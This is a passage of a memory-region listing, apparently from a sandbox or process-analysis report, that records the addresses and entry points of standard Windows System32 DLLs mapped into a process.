"\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 863 start_va = 0x7ffa0b320000 end_va = 0x7ffa0b32dfff monitored = 0 entry_point = 0x7ffa0b321460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 864 start_va = 0x7ffa0b330000 end_va = 0x7ffa0b33bfff monitored = 0 entry_point = 0x7ffa0b332830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 865 start_va = 0x7ffa0b340000 end_va = 0x7ffa0b34ffff monitored = 0 entry_point = 0x7ffa0b341700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 866 start_va = 0x7ffa0b350000 end_va = 0x7ffa0b358fff monitored = 0 entry_point = 0x7ffa0b351ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 867 start_va = 0x7ffa0b360000 end_va = 0x7ffa0b38cfff monitored = 0 entry_point = 0x7ffa0b362290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 868 start_va = 0x7ffa0b390000 end_va = 0x7ffa0b3e1fff monitored = 0 entry_point = 0x7ffa0b3938e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 869 start_va = 0x7ffa0b4a0000 end_va = 0x7ffa0b4b4fff monitored = 0 entry_point = 0x7ffa0b4a3460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 870 start_va = 0x7ffa0b4c0000 end_va = 0x7ffa0b559fff monitored = 0 entry_point = 0x7ffa0b4dada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 871 start_va = 0x7ffa0b640000 end_va = 0x7ffa0b6a6fff monitored = 0 entry_point = 0x7ffa0b6463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 872 start_va = 0x7ffa0b7a0000 end_va = 0x7ffa0b7aafff monitored = 0 entry_point = 0x7ffa0b7a1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 873 start_va = 0x7ffa0b800000 end_va = 0x7ffa0b8bffff monitored = 0 entry_point = 0x7ffa0b82fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 874 start_va = 0x7ffa0b9f0000 end_va = 0x7ffa0ba09fff monitored = 0 entry_point = 0x7ffa0b9f2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 875 start_va = 0x7ffa0ba10000 end_va = 0x7ffa0ba25fff monitored = 0 entry_point = 0x7ffa0ba119f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 876 start_va = 0x7ffa0baf0000 end_va = 0x7ffa0bb27fff monitored = 0 entry_point = 0x7ffa0bb08cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 877 start_va = 0x7ffa0bbe0000 end_va = 0x7ffa0bc8dfff monitored = 0 entry_point = 0x7ffa0bbf80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 878 start_va = 0x7ffa0bc90000 end_va = 0x7ffa0bca1fff monitored = 0 entry_point = 0x7ffa0bc99260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 879 start_va = 0x7ffa0bcb0000 end_va = 0x7ffa0bd60fff monitored = 0 entry_point = 0x7ffa0bd288b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 880 start_va = 0x7ffa0bd70000 end_va = 0x7ffa0bd83fff monitored = 0 entry_point = 0x7ffa0bd72d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 881 start_va = 0x7ffa0c070000 end_va = 0x7ffa0c102fff monitored = 0 entry_point = 0x7ffa0c079680 region_type = mapped_file name = "msvcp_win.dll" filename = "\\Windows\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll") Region: id = 882 start_va = 0x7ffa0c2b0000 end_va = 0x7ffa0c2d4fff monitored = 0 entry_point = 0x7ffa0c2c2f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 883 start_va = 0x7ffa0c2e0000 end_va = 0x7ffa0c2f0fff monitored = 0 entry_point = 0x7ffa0c2e7ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 884 start_va = 0x7ffa0c300000 end_va = 0x7ffa0c318fff monitored = 0 entry_point = 0x7ffa0c304520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 885 start_va = 0x7ffa0ca80000 end_va = 0x7ffa0ca99fff monitored = 0 entry_point = 0x7ffa0ca82cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 886 start_va = 0x7ffa0ce40000 end_va = 0x7ffa0d1c1fff monitored = 0 entry_point = 0x7ffa0ce91220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 887 start_va = 0x7ffa0e2c0000 end_va = 0x7ffa0e3cdfff monitored = 0 entry_point = 0x7ffa0e30eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 888 start_va = 0x7ffa0e6d0000 end_va = 0x7ffa0e724fff monitored = 0 entry_point = 0x7ffa0e6d3fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 889 start_va = 0x7ffa0e730000 end_va = 0x7ffa0e766fff monitored = 0 entry_point = 0x7ffa0e736020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 890 start_va = 0x7ffa0e770000 end_va = 0x7ffa0e78ffff monitored = 0 entry_point = 0x7ffa0e7739a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 891 start_va = 0x7ffa0e790000 end_va = 0x7ffa0e7a6fff monitored = 0 entry_point = 0x7ffa0e795630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 892 start_va = 0x7ffa0e7b0000 end_va = 0x7ffa0e7c2fff monitored = 0 entry_point = 0x7ffa0e7b57f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 893 start_va = 0x7ffa0e7d0000 end_va = 0x7ffa0e849fff monitored = 0 entry_point = 0x7ffa0e7f7630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 894 start_va = 0x7ffa0e850000 end_va = 0x7ffa0e87dfff monitored = 0 entry_point = 0x7ffa0e857550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 895 start_va = 0x7ffa0e880000 end_va = 0x7ffa0e895fff monitored = 0 entry_point = 0x7ffa0e881b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 896 start_va = 0x7ffa0e8a0000 end_va = 0x7ffa0e903fff monitored = 0 entry_point = 0x7ffa0e8b5ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 897 start_va = 0x7ffa0ead0000 end_va = 0x7ffa0eb10fff monitored = 0 entry_point = 0x7ffa0ead4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 898 start_va = 0x7ffa0eb20000 end_va = 0x7ffa0eb2bfff monitored = 0 entry_point = 0x7ffa0eb214d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 899 start_va = 0x7ffa0eb30000 end_va = 0x7ffa0ec65fff monitored = 0 entry_point = 0x7ffa0eb5f350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 900 start_va = 0x7ffa0ec70000 end_va = 0x7ffa0ed55fff monitored = 0 entry_point = 0x7ffa0ec8cf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 901 start_va = 0x7ffa0ed60000 end_va = 0x7ffa0ee27fff monitored = 0 entry_point = 0x7ffa0eda13f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 902 start_va = 0x7ffa0ee30000 end_va = 0x7ffa0ee90fff monitored = 0 entry_point = 0x7ffa0ee34b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 903 start_va = 0x7ffa0eea0000 end_va = 0x7ffa0f01bfff monitored = 0 entry_point = 0x7ffa0eef1650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 904 start_va = 0x7ffa0f020000 end_va = 0x7ffa0f02afff monitored = 0 entry_point = 0x7ffa0f021770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 905 start_va = 0x7ffa0f030000 end_va = 0x7ffa0f06dfff monitored = 0 entry_point = 0x7ffa0f03a050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 906 start_va = 0x7ffa0f070000 end_va = 0x7ffa0f096fff monitored = 0 entry_point = 0x7ffa0f073bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 907 start_va = 0x7ffa0f0a0000 end_va = 0x7ffa0f0e9fff monitored = 0 entry_point = 0x7ffa0f0aac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 908 start_va = 0x7ffa0f0f0000 end_va = 0x7ffa0f144fff monitored = 0 entry_point = 0x7ffa0f0ffc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 909 start_va = 0x7ffa0f190000 end_va = 0x7ffa0f221fff monitored = 0 entry_point = 0x7ffa0f1da780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 910 start_va = 0x7ffa0f2b0000 end_va = 0x7ffa0f2bcfff monitored = 0 entry_point = 0x7ffa0f2b1420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 911 start_va = 0x7ffa0f2d0000 end_va = 0x7ffa0f2dffff monitored = 0 entry_point = 0x7ffa0f2d2c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 912 start_va = 0x7ffa0f2e0000 end_va = 0x7ffa0f2ecfff monitored = 0 entry_point = 0x7ffa0f2e2ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 913 start_va = 0x7ffa0f2f0000 end_va = 0x7ffa0f31efff monitored = 0 entry_point = 0x7ffa0f2f8910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 914 start_va = 0x7ffa0f370000 end_va = 0x7ffa0f3ddfff monitored = 0 entry_point = 0x7ffa0f377f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 915 start_va = 0x7ffa0f3e0000 end_va = 0x7ffa0f3f0fff monitored = 0 entry_point = 0x7ffa0f3e3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 916 start_va = 0x7ffa0f430000 end_va = 0x7ffa0f465fff monitored = 0 entry_point = 0x7ffa0f440070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 917 start_va = 0x7ffa0fc30000 end_va = 0x7ffa0fc70fff monitored = 0 entry_point = 0x7ffa0fc47eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 918 start_va = 0x7ffa0fc80000 end_va = 0x7ffa0fd7bfff monitored = 0 entry_point = 0x7ffa0fcb6df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 919 start_va = 0x7ffa0fe10000 end_va = 0x7ffa0fecefff monitored = 0 entry_point = 0x7ffa0fe31c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 920 start_va = 0x7ffa0ff20000 end_va = 0x7ffa0ff29fff monitored = 0 entry_point = 0x7ffa0ff21660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 921 start_va = 0x7ffa0ff30000 end_va = 0x7ffa0ff47fff monitored = 0 entry_point = 0x7ffa0ff35910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 922 start_va = 0x7ffa0ff50000 end_va = 0x7ffa1009cfff monitored = 0 entry_point = 0x7ffa0ff93da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 923 start_va = 0x7ffa10cc0000 end_va = 0x7ffa11152fff monitored = 0 entry_point = 0x7ffa10ccf760 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 924 start_va = 0x7ffa11160000 end_va = 0x7ffa111c6fff monitored = 0 entry_point = 0x7ffa1117e710 region_type = mapped_file name = "bcp47langs.dll" filename = "\\Windows\\System32\\BCP47Langs.dll" (normalized: "c:\\windows\\system32\\bcp47langs.dll") Region: id = 925 start_va = 0x7ffa11220000 end_va = 0x7ffa113a5fff monitored = 0 entry_point = 0x7ffa1126d700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 926 start_va = 0x7ffa113b0000 end_va = 0x7ffa113cbfff monitored = 0 entry_point = 0x7ffa113b37a0 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 927 start_va = 0x7ffa113d0000 end_va = 0x7ffa113dafff monitored = 0 entry_point = 0x7ffa113d1de0 region_type = mapped_file name = "bitsperf.dll" filename = "\\Windows\\System32\\bitsperf.dll" (normalized: "c:\\windows\\system32\\bitsperf.dll") Region: id = 928 start_va = 0x7ffa11410000 end_va = 0x7ffa11422fff monitored = 0 entry_point = 0x7ffa11412760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 929 start_va = 0x7ffa114c0000 end_va = 0x7ffa114c9fff monitored = 0 entry_point = 0x7ffa114c1350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 930 start_va = 0x7ffa11540000 end_va = 0x7ffa1155efff monitored = 0 entry_point = 0x7ffa11544960 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 931 start_va = 0x7ffa11560000 end_va = 0x7ffa11573fff monitored = 0 entry_point = 0x7ffa11562a00 region_type = mapped_file name = "bitsigd.dll" filename = "\\Windows\\System32\\bitsigd.dll" (normalized: "c:\\windows\\system32\\bitsigd.dll") Region: id = 932 start_va = 0x7ffa11600000 end_va = 0x7ffa11607fff monitored = 0 entry_point = 0x7ffa116013e0 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 933 start_va = 0x7ffa11640000 end_va = 0x7ffa1167ffff monitored = 0 entry_point = 0x7ffa11651960 region_type = mapped_file name = "brokerlib.dll" filename = "\\Windows\\System32\\BrokerLib.dll" (normalized: "c:\\windows\\system32\\brokerlib.dll") Region: id = 934 start_va = 0x7ffa117d0000 end_va = 0x7ffa117f6fff monitored = 0 entry_point = 0x7ffa117d7940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 935 start_va = 0x7ffa11800000 end_va = 0x7ffa118a9fff monitored = 0 entry_point = 0x7ffa11827910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 936 start_va = 0x7ffa118b0000 end_va = 0x7ffa119affff monitored = 0 entry_point = 0x7ffa118f0f80 region_type = mapped_file name = "twinapi.appcore.dll" filename = "\\Windows\\System32\\twinapi.appcore.dll" (normalized: "c:\\windows\\system32\\twinapi.appcore.dll") Region: id = 937 start_va = 0x7ffa11a40000 end_va = 0x7ffa11a4bfff monitored = 0 entry_point = 0x7ffa11a42480 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 938 start_va = 0x7ffa11b10000 end_va = 0x7ffa11b41fff monitored = 0 entry_point = 0x7ffa11b22340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 939 start_va = 0x7ffa11d80000 end_va = 0x7ffa11d8bfff monitored = 0 entry_point = 0x7ffa11d82790 region_type = mapped_file name = "hid.dll" filename = "\\Windows\\System32\\hid.dll" (normalized: "c:\\windows\\system32\\hid.dll") Region: id = 940 start_va = 0x7ffa11d90000 end_va = 0x7ffa11db3fff monitored = 0 entry_point = 0x7ffa11d93260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 941 start_va = 0x7ffa11f30000 end_va = 0x7ffa12023fff monitored = 0 entry_point = 0x7ffa11f3a960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 942 start_va = 0x7ffa12080000 end_va = 0x7ffa120c8fff monitored = 0 entry_point = 0x7ffa1208a090 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 943 start_va = 0x7ffa121a0000 end_va = 0x7ffa121abfff monitored = 0 entry_point = 0x7ffa121a27e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 944 start_va = 0x7ffa12280000 end_va = 0x7ffa122b0fff monitored = 0 entry_point = 0x7ffa12287d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 945 start_va = 0x7ffa122e0000 end_va = 0x7ffa12359fff monitored = 0 entry_point = 0x7ffa12301a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 946 start_va = 0x7ffa123a0000 end_va = 0x7ffa123d3fff monitored = 0 entry_point = 0x7ffa123bae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 947 start_va = 0x7ffa123e0000 end_va = 0x7ffa123e9fff monitored = 0 entry_point = 0x7ffa123e1830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 948 start_va = 0x7ffa124f0000 end_va = 0x7ffa1250efff monitored = 0 entry_point = 0x7ffa124f5d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 949 start_va = 0x7ffa12660000 end_va = 0x7ffa126bbfff monitored = 0 entry_point = 0x7ffa12676f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 950 start_va = 0x7ffa12710000 end_va = 0x7ffa12726fff monitored = 0 entry_point = 0x7ffa127179d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 951 start_va = 0x7ffa12830000 end_va = 0x7ffa1283afff monitored = 0 entry_point = 0x7ffa128319a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 952 start_va = 0x7ffa12870000 end_va = 0x7ffa12890fff monitored = 0 entry_point = 0x7ffa12880250 region_type = mapped_file name = "joinutil.dll" filename = "\\Windows\\System32\\joinutil.dll" (normalized: "c:\\windows\\system32\\joinutil.dll") Region: id = 953 start_va = 0x7ffa128c0000 end_va = 0x7ffa128f9fff monitored = 0 entry_point = 0x7ffa128c8d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 954 start_va = 0x7ffa12900000 end_va = 0x7ffa12926fff monitored = 0 entry_point = 0x7ffa12910aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 955 start_va = 0x7ffa12a10000 end_va = 0x7ffa12a3cfff monitored = 0 entry_point = 0x7ffa12a29d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 956 start_va = 0x7ffa12ba0000 end_va = 0x7ffa12bf5fff monitored = 0 entry_point = 0x7ffa12bb0bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 957 start_va = 0x7ffa12c00000 end_va = 0x7ffa12c18fff monitored = 0 entry_point = 0x7ffa12c05e10 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 958 start_va = 0x7ffa12c20000 end_va = 0x7ffa12c48fff monitored = 0 entry_point = 0x7ffa12c34530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 959 start_va = 0x7ffa12c50000 end_va = 0x7ffa12ce8fff monitored = 0 entry_point = 0x7ffa12c7f4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 960 start_va = 0x7ffa12d90000 end_va = 0x7ffa12da3fff monitored = 0 entry_point = 0x7ffa12d952e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 961 start_va = 0x7ffa12db0000 end_va = 0x7ffa12dbffff monitored = 0 entry_point = 0x7ffa12db56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 962 start_va = 0x7ffa12dc0000 end_va = 0x7ffa12e0afff monitored = 0 entry_point = 0x7ffa12dc35f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 963 start_va = 0x7ffa12e10000 end_va = 0x7ffa12e1efff monitored = 0 entry_point = 0x7ffa12e13210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 964 start_va = 0x7ffa12e20000 end_va = 0x7ffa12e74fff monitored = 0 entry_point = 0x7ffa12e37970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 965 start_va = 0x7ffa12e80000 end_va = 0x7ffa12f34fff monitored = 0 entry_point = 0x7ffa12ec22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 966 start_va = 0x7ffa12f40000 end_va = 0x7ffa13106fff monitored = 0 entry_point = 0x7ffa12f9db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 967 start_va = 0x7ffa13110000 end_va = 0x7ffa13126fff monitored = 0 entry_point = 0x7ffa13111390 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 968 start_va = 0x7ffa13130000 end_va = 0x7ffa13317fff monitored = 0 entry_point = 0x7ffa1315ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 969 start_va = 0x7ffa13320000 end_va = 0x7ffa13389fff monitored = 0 entry_point = 0x7ffa13356d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 970 start_va = 0x7ffa13390000 end_va = 0x7ffa133d2fff monitored = 0 entry_point = 0x7ffa133a4b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 971 